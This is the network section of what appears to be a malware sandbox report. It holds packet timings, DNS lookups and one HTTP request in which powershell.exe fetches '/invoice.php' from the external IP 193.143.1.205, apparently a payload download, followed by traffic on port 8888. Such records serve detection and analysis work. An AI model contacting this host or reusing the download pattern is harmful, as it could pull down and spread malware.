Jan 11, 2025 04:17:19.319427013 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319446087 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.319461107 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319503069 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.319511890 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319545984 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319580078 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319586992 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.319610119 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319643974 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319648981 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.319679022 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319708109 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319722891 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.319835901 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319868088 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319883108 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.319901943 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319936991 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.319946051 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.320056915 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.320091009 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.320113897 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.326951027 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.327008009 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.327012062 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.327056885 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.327090979 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.327097893 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.327125072 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.327167034 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.334230900 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.334266901 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.334299088 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.334316015 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.334353924 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.334388971 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.334399939 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.334501982 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.334534883 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.334544897 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.334568977 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.334609985 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.334970951 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.340646029 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.355247021 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355278969 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355334997 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355335951 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.355389118 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355422974 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355431080 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.355490923 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355530977 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.355592966 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355627060 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355660915 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355670929 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.355695009 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355734110 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.355788946 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355823040 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355855942 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355861902 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.355890989 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355922937 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.355930090 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.361109018 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.370995045 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.371031046 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.371067047 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.371134996 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.371166945 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.371201992 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.371236086 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.371274948 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.371295929 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.371295929 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.371336937 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.395790100 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.395848989 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.395886898 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.395920992 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.395932913 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.395957947 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.395965099 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.395992041 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.396028042 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.396038055 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.398312092 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398365974 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398386002 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.398417950 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398452997 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398463011 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.398542881 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398576975 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398591995 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.398649931 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398684978 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398694992 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.398720026 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398749113 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398763895 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.398783922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398827076 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.398916006 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398948908 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398982048 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.398991108 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399034023 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399069071 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399075031 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399102926 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399159908 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399302959 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399372101 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399405956 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399416924 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399440050 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399472952 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399482012 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399503946 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399538040 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399544954 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399571896 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399605989 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399638891 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399666071 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399674892 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399719954 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399790049 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399822950 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399835110 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399857998 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399890900 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399894953 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.399924994 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399966955 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.399981976 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400047064 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400080919 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400090933 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400114059 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400147915 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400156021 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400182962 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400217056 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400224924 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400250912 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400294065 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400610924 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400645018 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400677919 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400688887 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400706053 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400739908 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400747061 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400773048 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400806904 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400815964 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400840998 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400875092 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400882959 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400908947 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400940895 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.400949001 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.400974989 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401007891 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401019096 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.401041031 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401076078 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401087046 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.401242971 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401283026 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401293039 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.401318073 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401351929 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401360035 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.401386023 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401418924 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401427031 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.401453018 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401485920 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401519060 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401520967 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.401559114 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.401561022 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.405082941 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.411708117 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.411739111 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.411773920 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.411798000 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.411832094 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.411845922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.411895990 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.411928892 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.411938906 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.411981106 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412018061 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412024021 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.412049055 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412086010 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.412098885 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412132978 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412163973 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412173986 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.412199020 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412231922 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412241936 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.412298918 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412342072 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.412352085 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412384987 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.412431002 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.426659107 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.426737070 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.426770926 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.426803112 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.426824093 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.426856041 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.426871061 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.426891088 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.426924944 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.426935911 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.428546906 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.447710991 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.447746992 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.447774887 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.447915077 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.447947979 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.447958946 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.447985888 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448023081 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448029041 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.448077917 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448127985 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448137999 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.448163033 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448194981 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448203087 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.448246002 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448276043 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448283911 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.448308945 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448343992 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448345900 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.448378086 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448410988 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.448415995 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.452841043 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.463430882 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.463464975 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.463515997 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.463524103 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.463550091 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.463560104 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.463584900 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.463615894 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.463623047 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.463651896 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.463685989 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.463694096 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.487977982 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.488085032 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.488091946 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.488121033 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.488168955 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.488172054 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.488204002 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.488251925 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.488291979 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.488327026 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.488372087 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.490593910 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.490647078 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.490675926 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.490695000 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.490834951 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.490868092 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.490878105 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.490904093 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.490937948 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.490950108 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.490989923 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.491019011 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.491050959 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.491071939 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.491087914 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.491099119 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.491122961 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.491156101 CET	80	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:19.491167068 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:19.540276051 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:20.363521099 CET	49707	80	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:21.287708044 CET	49708	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:21.292690992 CET	8888	49708	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:21.292800903 CET	49708	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:21.293613911 CET	49708	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:21.298487902 CET	8888	49708	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:22.096554995 CET	8888	49708	193.143.1.205	192.168.2.8
Jan 11, 2025 04:17:22.149672985 CET	49708	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 04:17:22.714205980 CET	49708	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:17:29.103353024 CET	59291	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:17:29.103353024 CET	192.168.2.8	1.1.1.1	0x2507	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:17:29.110302925 CET	1.1.1.1	192.168.2.8	0x2507	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 04:17:29.799730062 CET	1.1.1.1	192.168.2.8	0xb2a8	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:17:29.799730062 CET	1.1.1.1	192.168.2.8	0xb2a8	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:17:47.881211042 CET	1.1.1.1	192.168.2.8	0x96f2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:17:47.881211042 CET	1.1.1.1	192.168.2.8	0x96f2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:18:00.271855116 CET	1.1.1.1	192.168.2.8	0x32b2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 04:18:00.271855116 CET	1.1.1.1	192.168.2.8	0x32b2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	193.143.1.205	80	8012	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:17:17.913400888 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
